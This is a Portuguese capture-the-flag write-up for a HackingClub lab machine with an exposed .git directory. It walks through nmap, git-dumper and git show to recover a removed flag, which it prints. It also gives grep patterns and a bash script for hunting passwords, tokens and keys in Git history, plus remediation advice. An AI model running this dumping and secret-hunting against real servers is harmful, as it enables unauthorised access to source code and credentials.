Git Exposed - Fundamentos e Exploração
Explorando vulnerabilidade Git Exposed, desde conceitos fundamentais até práticos via hacking club
📝 Git Exposed (HackingClub Machine)
Fundamentos do Git, Versionamento e Exploração de Repositórios Expostos
Essa máquina do Hacking Club foi bem rápida de resolver, mas achei que valia a pena usar ela como desculpa pra explicar direito como funciona o Git e principalmente essa vulnerabilidade de Git Exposed que é super comum por aí. Vou focar bastante nas explicações porque mesmo sendo “simples”, tem muita coisa interessante acontecendo nos bastidores.
1. Fundamentos do Git e Versionamento
1.1 O que é Git?
O Git é basicamente o cara que cuida do histórico do seu código. Foi o Linus Torvalds que criou em 2005 (o mesmo cara do Linux), e hoje praticamente todo mundo usa. A ideia é simples:
- Rastreamento de alterações: Cada modificação é registrada com timestamp, autor e descrição
- Trabalho colaborativo: Múltiplos desenvolvedores podem trabalhar simultaneamente
- Branches: Linhas paralelas de desenvolvimento para features e experimentos
- Histórico completo: Acesso a qualquer versão anterior do código
- Backup distribuído: Cada clone contém todo o histórico do projeto
1.2 Como o Git funciona internamente
O Git armazena informações em uma estrutura chamada repositório, que fica na pasta .git/ do projeto:
1
2
3
4
5
6
7
8
9
10
.git/
├── HEAD # Ponteiro para branch atual
├── config # Configurações do repositório
├── description # Descrição do projeto
├── hooks/ # Scripts de automação
├── info/ # Informações adicionais
├── logs/ # Logs de referências
├── objects/ # Banco de dados de objetos
├── refs/ # Referências (branches, tags)
└── index # Área de staging
Como o Git guarda as coisas:
O Git tem 4 tipos de “objetos” principais (meio chato, mas é importante saber):
- Blob: O conteúdo dos seus arquivos
- Tree: Como os arquivos estão organizados nas pastas
- Commit: Um “snapshot” do projeto inteiro em um momento específico
- Tag: Marcações tipo “versão 1.0”, “release final”
Esses códigos malucos do Git:
Cada coisa no Git ganha um código único de 40 caracteres (hash SHA-1). É tipo um CPF pra cada commit. Por exemplo:
a1b2c3d4e5f6...é o “CPF” de um commit específico- O Git pega os 2 primeiros caracteres pra fazer uma pasta
- Os outros 38 viram o nome do arquivo dentro da pasta
Isso é importante pra entender como conseguimos baixar o repositório depois.
1.3 Comandos Git essenciais
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Visualizar histórico de commits
git log
# Ver alterações específicas de um commit
git show <hash_do_commit>
# Comparar diferenças entre commits
git diff <commit1> <commit2>
# Ver status atual do repositório
git status
# Ver configuração atual
git config -l
1.4 Conceitos de segurança no Git
Informações sensíveis comumente expostas:
- Credenciais: Senhas, tokens de API, chaves SSH
- URLs de produção: Endpoints internos, IPs de servidores
- Configurações: Database strings, secrets de aplicação
- Código comentado: Funcionalidades “escondidas”, backdoors
- Histórico de desenvolvimento: Bugs, vulnerabilidades corrigidas
Por que o histórico é perigoso:
Mesmo que você remova informações sensíveis do código atual, elas permanecem no histórico Git. Um git log pode revelar:
- Commits com mensagens como “removing password” ou “fixing security issue”
- Diferenças (
git diff) mostrando exatamente o que foi removido - Todas as versões anteriores do código
2. A Vulnerabilidade Git Exposed
2.1 O que é Git Exposed?
Git Exposed é quando alguém esquece de bloquear o acesso à pasta .git/ no servidor. Aí qualquer um pode baixar o repositório inteiro, incluindo:
- Código fonte completo
- Histórico de commits
- Credenciais que podem ter sido commitadas
- Informações sobre a arquitetura do sistema
2.2 Como acontece na prática
Como isso acontece na vida real:
- Deploy na pressa: Pegou a pasta do projeto e jogou tudo no servidor (inclusive o .git/)
- Nginx/Apache mal configurado: Esqueceu de bloquear acesso aos arquivos .git
- Script de deploy zuado: CI/CD copiando tudo sem filtro
- Desenvolvedor junior: Não sabia que .git/ é perigoso expor
Detecção automática:
Scanners como Nmap podem detectar automaticamente:
1
2
nmap -sC -sV target.com
# Script NSE http-git detecta .git/ expostos
2.3 Impacto de segurança
Riscos críticos:
- Information Disclosure: Código fonte completo revelado
- Credential Exposure: Senhas, tokens e chaves expostos no histórico
- Architecture Mapping: Compreensão completa da aplicação
- Vulnerability Research: Análise de código para encontrar bugs
- Supply Chain Attacks: Informações sobre dependências e infraestrutura
3. Enumeração e Reconhecimento
3.1 Informações da máquina alvo
Target: 10.10.0.14 (HackingClub - Git Exposed)
O que encontrei inicialmente:
- Site básico pedindo um “token de acesso”
- O que eu digitava aparecia na URL como
?token=alguma_coisa - Sempre dava “Token Errado :p” (suspeito né?)
3.2 Scan de rede e serviços
Como sempre, comecei com um nmap bem completo pra não perder tempo:
1
nmap -F -Pn -sV -A 10.10.0.14 -vv
Explicando os parâmetros:
-F(Fast): Escaneia apenas as 100 portas mais comuns-Pn: Pula a descoberta de host (assume que está ativo)-sV: Detecção de versão dos serviços-A: Ativa detecção de OS e execução de scripts NSE-vv: Verbose duplo para output detalhado
3.3 Resultados da varredura
Descobertas importantes:
1
2
3
4
PORT 80/tcp OPEN http
SERVICE: nginx 1.18.0
NSE: http-git: 10.10.0.14/.git/ Git repository found!
Last commit message: Removendo flag
Cara, que sorte:
O próprio nmap já achou o .git/ exposto e a mensagem “Removendo flag” entregou tudo
Já deu pra sacar:
O script do nmap já me entregou a vulnerabilidade de bandeja e já me falou onde encontrar a flag. Ou seja, se tem um repositório Git exposto e a mensagem do último commit é “Removendo flag”, sabemos que ela já teve no código e alguém tentou “escondê-la”. Só que esqueceram que Git guarda histórico de tudo, o que não seria necessariamente um problema se não tivessem colocado o .git no servidor de produção, né…
4. Explorando o Git Exposed
4.1 Verificação manual
Primeiro, vamos confirmar manualmente o que encontramos:
1
curl -I http://10.10.0.14/.git/
Resultado esperado:
1
HTTP/1.1 403 Forbidden
Coisa interessante: Mesmo que .git/ dê 403, às vezes os arquivos dentro dele estão liberados, nesse caso seria quase como se trancassem as portas enquanto deixavam as janelas abertas.
4.2 Entendendo o comportamento da aplicação
Testando a aplicação principal:
1
2
3
4
5
6
# Testando parâmetro token
curl "http://10.10.0.14/?token=teste"
# Resultado: "Token Errado :p"
curl "http://10.10.0.14/?token="
# Resultado: "Token Errado :p"
Hipótese: A aplicação é um simples script PHP que compara o token fornecido com um valor específico. Se for diferente, mostra erro. A flag provavelmente era o token correto que foi removido do código, já sabemos que a mensagem de sucesso atualmente não será a flag mais.
4.3 Ferramentas para dump de repositórios Git
GitDumper - Ferramenta especializada:
O git-dumper é uma ferramenta Python que explora Git Exposed fazendo requests inteligentes para reconstruir o repositório:
1
2
3
4
5
6
7
8
9
# Instalação
git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip3 install -r requirements.txt
python3 git_dumper.py
# Criando alias para facilitar uso
echo 'alias git-dumper="python3 ~/tools/git-dumper/git_dumper.py"' >> ~/.bashrc
source ~/.bashrc
Como o GitDumper funciona na prática:
- Tenta arquivos conhecidos: HEAD, index, config - os “arquivos padrão” do Git
- Baixa o índice: O arquivo que tem a lista de tudo que existe no repo
- Puxa os objetos: Com a lista em mãos, baixa todos os arquivos um por um
- Reconstrói tudo: Monta um repositório Git funcional na sua máquina
Basicamente ele faz o que a gente faria manualmente, mas automatizado.
5. Extraindo o repositório Git
5.1 Executando git-dumper
1
git-dumper http://10.10.0.14/ git_dump
Output esperado:
1
2
3
4
5
6
7
8
9
10
[-] Testing http://10.10.0.14/.git/HEAD [200]
[-] Testing http://10.10.0.14/.git/ [403]
[-] Fetching common files
...
[-] Fetching .git/logs/HEAD [200]
[-] Fetching .git/refs/heads/master [200]
[-] Fetching .git/index [200]
[-] Fetching objects
....
[+] Repository successfully dumped
Saiu exatamente como esperado:
.git/→ 403 Forbidden (pasta bloqueada).git/HEAD→ 200 OK (arquivo dentro da pasta liberado).git/objects/xx/xxxx...→ 200 OK (outros arquivos liberados também)
Isto confirma a configuração furada: bloquearam só a listagem da pasta, mas esqueceram dos arquivos dentro dela.
5.2 Explorando o repositório baixado
1
2
cd git_dump
ls -la
Arquivos encontrados:
1
2
drwxr-xr-x .git/
-rw-r--r-- index.php
Analisando o código da aplicação:
1
cat index.php
1
2
3
4
5
6
7
<?php
if(isset($_GET['token']) and !empty($_GET['token'])){
if($_GET['token'] == "Sup3rAdminT0k3n") {
echo "Get the flag: [REDACTED]";
}else{
echo "Token errado :p";
}
Exato, como eu imaginava:
✅ Script PHP bem básico mesmo
✅ A flag é mostrada via echo ao colocar o token Sup3rAdminT0k3n ✅ Trocaram a flag no echo por [REDACTED]
Agora é só caçar no histórico Git qual era a flag original que aparecia no echo!
6. Análise do histórico Git
6.1 Explorando a estrutura .git manualmente
Antes de usar comandos Git, vamos entender o que foi baixado:
1
2
cd .git
ls -la
Estrutura baixada:
1
2
3
4
5
6
7
HEAD # Referência atual
config # Configuração do repositório
description # Descrição
logs/ # Logs de referências
objects/ # Banco de dados de objetos
refs/ # Referências (branches)
index # Área de staging
Investigando objetos:
1
2
cd objects
ls -la
Exemplo de estrutura:
1
2
3
4
5
drwxr-xr-x 0c/ # Pasta com hash iniciando em "0c"
drwxr-xr-x 2c/ # Pasta com hash iniciando em "2c"
drwxr-xr-x 31/ # Pasta com hash iniciando em "31"
drwxr-xr-x 7e/ # Pasta com hash iniciando em "7e"
drwxr-xr-x 03/ # Pasta com hash iniciando em "03"
1
2
ls 7e/
# b5abd9b86eae8e1cf2c808ebb3220286374337 (resto do hash do commit "Removendo flag")
Como funciona essa organização maluca:
- Hash completo:
7eb5abd9b86eae8e1cf2c808ebb3220286374337(40 caracteres) - O Git pega os 2 primeiros:
7e/(vira nome da pasta) - O resto:
b5abd9b86eae8e1cf2c808ebb3220286374337(vira nome do arquivo) - Juntando:
7e+b5abd9b86eae8e1cf2c808ebb3220286374337= hash completo de novo
6.2 Explorando logs
1
cat logs/HEAD
Output típico:
1
2
0000000000000000000000000000000000000000 0336e992ad297e7c3303bb67128bee28a6a20d0f john <cvieira.eduardo@gmail.com> 1630681862 -0300 commit (initial): First commit
0336e992ad297e7c3303bb67128bee28a6a20d0f 7eb5abd9b86eae8e1cf2c808ebb3220286374337 john <cvieira.eduardo@gmail.com> 1630681860 -0300 commit: Removendo flag
Informações extraídas:
- Hash do commit inicial:
0336e992ad297e7c3303bb67128bee28a6a20d0f - Hash do commit que removeu flag:
7eb5abd9b86eae8e1cf2c808ebb3220286374337 - Autor: john cvieira.eduardo@gmail.com
- Data: Fri Sep 3 12:11:08 2021 -0300
- Mensagens dos commits: “First commit” e “Removendo flag”
6.3 Usando comandos Git para análise
1
2
# Visualizar histórico completo
git log --oneline
Output:
1
2
7eb5abd Removendo flag
0336e99 First commit
Visualizar log detalhado:
1
git log
Output detalhado:
1
2
3
4
5
6
7
8
9
10
11
commit 7eb5abd9b86eae8e1cf2c808ebb3220286374337
Author: john <cvieira.eduardo@gmail.com>
Date: Fri Sep 3 12:11:08 2021 -0300
Removendo flag
commit 0336e992ad297e7c3303bb67128bee28a6a20d0f
Author: john <cvieira.eduardo@gmail.com>
Date: Fri Sep 3 12:10:42 2021 -0300
First commit
7. Encontrando a flag
7.1 Analisando o commit que removeu a flag
Agora vamos ver exatamente o que foi alterado no commit “Removendo flag”:
1
git show 7eb5abd9b86eae8e1cf2c808ebb3220286374337
Output revelador:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
commit 7eb5abd9b86eae8e1cf2c808ebb3220286374337
Author: john <cvieira.eduardo@gmail.com>
Date: Fri Sep 3 12:11:08 2021 -0300
Removendo flag
diff --git a/index.php b/index.php
index 0336e99..7eb5abd 100644
--- a/index.php
+++ b/index.php
@@ -2,7 +2,7 @@
<?php
if(isset($_GET['token']) and !empty($_GET['token'])){
if($_GET['token'] == "Sup3rAdminT0k3n") {
- echo "Get the flag: CS{G1t_3Xp0s3d_4tt4ck}";
+ echo "Get the flag: [REDACTED]";
}else{
echo "Token errado :p";
🚩 BINGO! FLAG ACHADA!
1
CS{G1t_3Xp0s3d_4tt4ck}
7.2 Entendendo o que aconteceu
Análise da mudança:
- Linha removida:
echo "Get the flag: CS{G1t_3Xp0s3d_4tt4ck}"; - Linha adicionada:
echo "Get the flag: [REDACTED]"; - Flag revelada:
CS{G1t_3Xp0s3d_4tt4ck}(que estava sendo mostrada no echo)
Classic mistake:
O desenvolvedor só trocou a flag no echo por [REDACTED], mas deixou a condicional com Sup3rAdminT0k3n (que nem é uma flag válida). Esqueceu que Git é tipo portal da transparência do governo - fica tudo registrado. Todo mundo que baixar o repositório vai conseguir ver exatamente o que foi mudado no echo.
8. Verificando a solução
8.1 Testando a flag
Agora que temos a suposta flag, vamos verificá-la. Saber o token Sup3rAdminT0k3n não vai funcionar para termos certeza da flag, mas como capturamos a flag do commit podemos já testar como resposta. Até então o pensamento era de que deu certo, mas também pode ser um falso positivo, visto que não segue os padrões das flags do hackingclub.
Aplicação depois e antes do último commit:
1
2
3
4
5
6
7
# Versão do último commit
curl "http://10.10.0.14/?token=Sup3rAdminT0k3n"
# Resultado: "Get the flag: [REDACTED]"
# Versão anterior ao último commit
curl "http://10.10.0.14/?token=Sup3rAdminT0k3n"
# Resultado: "Get the flag: CS{G1t_3Xp0s3d_4tt4ck}"
Testando na máquina do hackingclub:
Flag com formato diferente
CS{**}do padrãohackingclub{****};Resultado> Realmente FUNCIONOU!! ✅
Motivo aparente: Essa máquina era de treinamento da CrowSec (responsável pelo hackingclub) e por isso a flag tem formato diferente usando CS.
Resultado: A flag CS{G1t_3Xp0s3d_4tt4ck} - que foi encontrada no histórico de commit no Git - NÃO era falso positivo, era real. O padrão da flag somente era diferente mesmo por se tratar da antiga plataforma.
✅ Máquina resolvida! Easy peasy.
8.2 Métodos alternativos de análise
Poderão ser úteis para outros casos
Visualizando diferenças entre commits:
1
2
3
4
5
# Comparar commit atual com anterior
git diff HEAD~1 HEAD
# Comparar commits específicos
git diff 0336e99 7eb5abd
Visualizando arquivo em versão específica:
1
2
# Ver index.php antes da remoção da flag
git show 0336e99:index.php
Buscando por padrões no histórico:
1
2
3
4
5
# Procurar por "flag" em todos os commits
git log --grep="flag" -i
# Buscar mudanças que contenham "CS{ - busca por PADRÃO"
git log -S "CS{" --source --all
9. Técnicas de Git Forensics
9.1 Análise profunda do histórico
Encontrando arquivos deletados:
1
2
3
4
5
# Ver todos os arquivos que já existiram
git log --all --full-history -- "*"
# Encontrar quando um arquivo foi deletado
git log --diff-filter=D --summary
Analisando mudanças específicas:
1
2
3
4
5
# Ver apenas mudanças em linhas específicas
git log -L 1,5:index.php
# Encontrar quando uma string foi introduzida/removida
git log -S "password" --source --all -p
9.2 Recuperação de dados sensíveis
Procurando por credenciais comuns:
1
2
3
4
5
6
7
8
# Buscar padrões de credenciais no histórico
git log --all -p | grep -i "password\|secret\|token\|api_key"
# Buscar por URLs de database
git log --all -p | grep -E "(mysql|postgres|mongodb)://.*:[^@]*@"
# Procurar por chaves SSH/crypto
git log --all -p | grep -E "(BEGIN.*KEY|ssh-rsa|ssh-ed25519)"
Analisando metadados:
1
2
3
4
5
6
7
8
# Ver informações de todos os commits
git log --format=fuller
# Verificar configurações sensíveis
git config -l
# Ver informações do repositório remoto
git remote -v
9.3 Automação de análise
Script para busca automatizada:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/bash
# git_secrets_scanner.sh
echo "=== Git Secrets Scanner ==="
# Padrões sensíveis comuns
patterns=(
"password.*="
"secret.*="
"token.*="
"api_key.*="
"database.*url"
"private.*key"
"-----BEGIN"
"ssh-rsa"
"mysql://"
"postgres://"
)
for pattern in "${patterns[@]}"; do
echo "Searching for: $pattern"
git log --all -p -i --grep="$pattern" --
git log --all -p -S "$pattern" -i --
done
10. Como evitar essa cagada
10.1 A regra de ouro
NUNCA coloque .git/ em produção. Ponto final.
O problema todo acontece porque alguém fez deploy da pasta completa do projeto. A solução é óbvia:
1
2
3
4
5
# ❌ ERRADO: Copiar tudo
cp -r meu-projeto/ /var/www/html/
# ✅ CERTO: Só os arquivos necessários
rsync --exclude='.git' meu-projeto/ /var/www/html/
10.2 Deploy do jeito certo
Regra simples: Build local → Upload só o que precisa
1
2
3
# Exemplo básico de deploy seguro
git archive HEAD | tar -x -C /pasta-temporaria/
rsync /pasta-temporaria/ servidor:/var/www/html/
Se ainda assim cagou:
1
2
3
4
5
# Nginx: bloquear .git como emergência
location ~ /\.git {
deny all;
return 403;
}
10.3 Não ‘commite’ merda
Coisas que JAMAIS devem ir pro Git:
.env
config/database.php
*.key
*.pem
passwords.txt
...
Se já commitou alguma senha:
1
2
3
4
# BFG remove do histórico inteiro
java -jar bfg.jar --replace-text passwords.txt
git reflog expire --expire=now --all
git gc --prune=now --aggressive
⚠️ Aviso: Isso reescreve todo o histórico. Só faz se realmente precisar.
11. Resumo da parada
O que rolou:
- Alguém fez deploy com .git/ junto
- Nmap achou automaticamente
- git-dumper baixou tudo
git showrevelou a flag no histórico
Lição: Git nunca esquece de nada. Se commitou, tá lá pra sempre, a não ser que force uma limpeza.
Moralzinha:
- Deploy = só arquivos de produção
- .gitignore = seu melhor amigo
- Git Exposed = mais comum do que deveria (hackerone que o diga)
🚩 Flag capturada: CS{G1t_3Xp0s3d_4tt4ck}
Técnicas utilizadas:
- Git Repository Enumeration
- Historical Code Analysis
- Automated Repository Reconstruction
Referências úteis
- GitDumper - Ferramenta pra baixar .git exposto
- BFG Repo-Cleaner - Limpar histórico Git
- GitLeaks - Scanner de secrets
- Hacking Club - Onde fiz essa máquina
Nota educacional: Essa máquina mostra como uma configuração boba (colocar .git/ em produção) pode vazar todo o histórico de desenvolvimento. As hashes dos commits foram alteradas (mantive o início igual) para dar erro em quem só copia os comandos sem entender, mas a flag tá aí mesmo haha.
12. Resolução em VÍDEO
Resolução desta máquina documentada em vídeo, foi postado no youtube caso prefira acompanhar a resolução da máquina em áudio visual:
- Problema com o vídeo? então clique aqui para ver diretamente do youtube.
Comments powered by Disqus.